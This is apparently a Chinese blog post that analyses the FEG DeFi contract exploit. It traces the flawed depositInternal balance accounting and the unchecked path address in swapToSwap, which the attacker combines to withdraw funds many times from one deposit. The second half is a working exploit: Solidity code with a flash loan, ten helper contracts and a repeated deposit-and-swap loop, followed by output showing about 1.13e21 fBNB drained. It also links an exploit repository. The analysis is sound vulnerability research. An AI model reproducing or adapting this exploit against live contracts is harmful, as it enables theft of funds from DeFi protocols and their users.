攻击者 0x73b3 调用事先创建好的攻击合约 0x9a84 从 DVM 中闪电贷借出 915.842 WBNB,接着将其中的 116.81 WBNB 兑换成 115.65 fBNB。漏洞分析,EXP。
说在前面:有对漏洞复现研究的小伙伴可以私信我,一起交流
feg 官网https://fegex.com/
1.攻击者 0x73b3 调用事先创建好的攻击合约 0x9a84 从 DVM 中闪电贷借出 915.842 WBNB,接着将其中的 116.81 WBNB 兑换成 115.65 fBNB。
两个原因:
1.swaptoswap中对path的地址没有校验,将资产approve恶意的地址。
2.depositInternal中的逻辑错误。
这两个函数结合使用造成本次攻击。看起来就是一次存钱,多次取款
最开始调用了depositInternal
input
{
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"amt": "115650737205006082495"
}
此时状态变量的值
uint256 bef = _records[Main].balance; // 1033979906984044632025
_pullUnderlying(Main, msg.sender, amt);
<!-- {
"erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
"from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amount": "115650737205006082495"
} -->
uint256 aft = bsub(IERC20(Main).balanceOf(address(this))// 1165922354692309821116 , badd(_totalSupply2//17311532274134100931, badd(_totalSupply7//23790812092117019, _totalSupply8//9010578207524028)));
uint256 finalAmount = bsub(aft, bef);// 1148578021027876079138 - 1033979906984044632025 = 114598114043831447113
_totalSupply2 = badd(_totalSupply2, finalAmount); // 17311532274134100931 + 114598114043831447113 = 131909646317965548044
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount);// 0 + 114598114043831447113 = 114598114043831447113
此时_balances2[msg.sender]
为114598114043831447113
。_totalSupply2
为131909646317965548044
。
第一次swaptoswap
input
{
"path": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amt": "114598114043831447113"
}
在执行swaptoswap之后
...
require(_balances2[msg.sender] >= amt, "Not enough Main");
IERC20(address(Main)).approve(address(path), amt);
_totalSupply2 -= amt;
_balances2[msg.sender] -= amt;
...
由于前面一步。所以swaptoswap中这个判断require(_balances2[msg.sender] >= amt, "Not enough Main");
就是成立的。可以实现后面将fbnb approve到恶意的path中。然后子合约将钱转走。此时_balances2[msg.sender]
减去amt,变为0,_totalSupply2
也减去amt,变为为17311532274134100931
。回到了存钱之前的状态。但是这一波操作下来。path地址却有权限转走FEG合约中的fbnb了。
这里一切都是正常的逻辑,第二步就可以发现问题了。
input
{
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"amt": "1"
}
这里注意,我们给的amt参数是1。很小
运行中各个状态下的数据
uint256 bef = _records[Main].balance;//1033979906984044632025
_pullUnderlying(Main, msg.sender, amt);
<!--
{
"erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
"from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amount": "1"
} -->
uint256 aft = bsub(IERC20(Main).balanceOf(address(this))//1165922354692309821117, badd(_totalSupply2//17311532274134100931, badd(_totalSupply7//23790812092117019, _totalSupply8//9010578207524028)));
uint256 finalAmount = bsub(aft, bef); // 1148578021027876079139 - 1033979906984044632025 = 114598114043831447114
_totalSupply2 = badd(_totalSupply2, finalAmount); // 17311532274134100931 + 114598114043831447114 = 131909646317965548045
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount); // 0 + 114598114043831447114
一波操作之后,可以发现此时_balances2[msg.sender]
为114598114043831447114
。其实实际上我们传入的是amt:1
。但是最后很神奇变成了114598114043831447114
。这就有点离谱了。
为什么会这样,我们看看有哪些因素影响_balances2[msg.sender]
的值。主要由finalAmount
影响,我们仔细看上面的数值。他们的值好像和第一步存钱的时候差不多。因为在这两次操作期间,真正参与计算的_records[Main].balance
和IERC20(Main).balanceOf(address(this)
没有多大的变化。但是他们参与了账号余额的计算,导致把finalAmount
的值改变了,所以_balances2[msg.sender]
也发生了变化。很奇妙。
第二次swaptoswap
{
"path": "0x91f342392fcf7fd2a268d5d133caaec925c8599a",
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amt": "114598114043831447113"
}
和上面一样,由于前面的操作_balances2[msg.sender]
的值符合条件,于是我们又白嫖了114598114043831447113
给恶意path地址。
第三次depositinternal
input
{
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"amt": "1"
}
状态变量的值
uint256 bef = _records[Main].balance; // 1033979906984044632025 和上一次没变化
_pullUnderlying(Main, msg.sender, amt);
<!-- {
"erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
"from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amount": "1"
} -->
uint256 aft = bsub(IERC20(Main).balanceOf(address(this))//1165922354692309821118 就比上一次调用多了1,就是上一次amt的值, badd(_totalSupply2//17311532274134100932 也只比上一次多了1, badd(_totalSupply7//23790812092117019 没变化, _totalSupply8//9010578207524028 没变化)));
// 由于balance比之前多了amt,_totalsupply2也比上一次多了amt。所以aft的数量不变
uint256 finalAmount = bsub(aft, bef); // 1148578021027876079139 - 1033979906984044632025 = 114598114043831447114 fianlamount也不变
_totalSupply2 = badd(_totalSupply2, finalAmount); // 17311532274134100932(多了amt) + 114598114043831447114
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount); // 1 + 114598114043831447114
第三次swaptoswap
{
"path": "0x53d20d9eebf7cf808fcb857cb96767080c28be18",
"asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
"to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
"amt": "114598114043831447113"
}
第一步,从DVM中借钱
bytes memory data = "1";
IDVMTrader(DVM).flashLoan(
0, // uint256 baseAmount,
915842289447124857298, // uint256 quoteAmount,
address(this), // address assetTo,
data
);
第二步,将wbnb换成fbnb
IERC20(WBNB).withdraw(quoteAmount);
// 这一步不能放到fallback中执行
IERC20(fBNB).deposit{value: 116813809359158325730}();// 把
第三步,创建子合约
// 创建十个子合约
for(uint i = 0 ; i <10;i++){
paths.push(createPath());
}
console.log("[3/xxx]create 10 contract");
第四步,漏洞利用。这里不管是exp的合约还是path的合约都定义depositInternal
IFEGexPRO(FEGexPRO).depositInternal(fBNB, 115650737205006082495); // 这里并没有将所有的fbnb都存入,黑客给后面的操作留了1000
(uint256 output0 , uint256 output1) = IFEGexPRO(FEGexPRO).userBalanceInternal(address(this));
IFEGexPRO(FEGexPRO).swapToSwap(address(this), fBNB, address(this), output1);
console.log("[4/xxx]hacker swaptoswap");
for(uint i = 0; i < 10 ; i++){
IFEGexPRO(FEGexPRO).depositInternal(fBNB, 1);
IFEGexPRO(FEGexPRO).swapToSwap(address(paths[i]), fBNB, address(this), output1);
console.log("[5(%d)/xxx] %s path swaptoswap",i+1,address(paths[i]));
}
console.log("send to hacker before hacker balance:%s",IERC20(fBNB).balanceOf(address(this)));
exp效果,只写了dvm闪电贷的部分,从pancake借贷部分没写,实现是一样
exploit deployed to: 0x243CD2aBE3896f8Fd11AA375CEe04EA685c8fCB8
[1/xxx]start
[2/xxx]withdraw
get value:915842289447124857298
[3/xxx]create 10 contract
[4/xxx]hacker swaptoswap
[5(1)/xxx] 0xe34cb0fe8b4f52370833ca8f299afb6817530e42 path swaptoswap
[5(2)/xxx] 0x8b5d3f1c2c146139aab5212d636e57986c6816d9 path swaptoswap
[5(3)/xxx] 0x0d28a21a2ce0637e1ba79e29ff1d411ed608dc1f path swaptoswap
[5(4)/xxx] 0x25033cf8b21b5e0437a51211566622cefc780edf path swaptoswap
[5(5)/xxx] 0x3e67e6915de7cd20489af9a06452b94b3ffda8d6 path swaptoswap
[5(6)/xxx] 0x9fc8a26eebce19b10d31c39423f060718c471da2 path swaptoswap
[5(7)/xxx] 0x3ea6275501c23e62bb87ca992cfe3d0d32e475ad path swaptoswap
[5(8)/xxx] 0x6a06b705c7862259d2ba0f1e261df2a77adbb3b1 path swaptoswap
[5(9)/xxx] 0x6ec4ceeb2d19295c88954015b9c96b594c371ada path swaptoswap
[5(10)/xxx] 0x3b3fe5d8488639e3b383a0b348e4aa4498db9c87 path swaptoswap
send to hacker before hacker balance:990
send to hacker after hacker balance:1134827841043064282558
get value:1123479562632633639733
finsh:207637273185508782435
EXP:DeFiVulhub/FEG at main · 8olidity/DeFiVulhub (github.com)
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!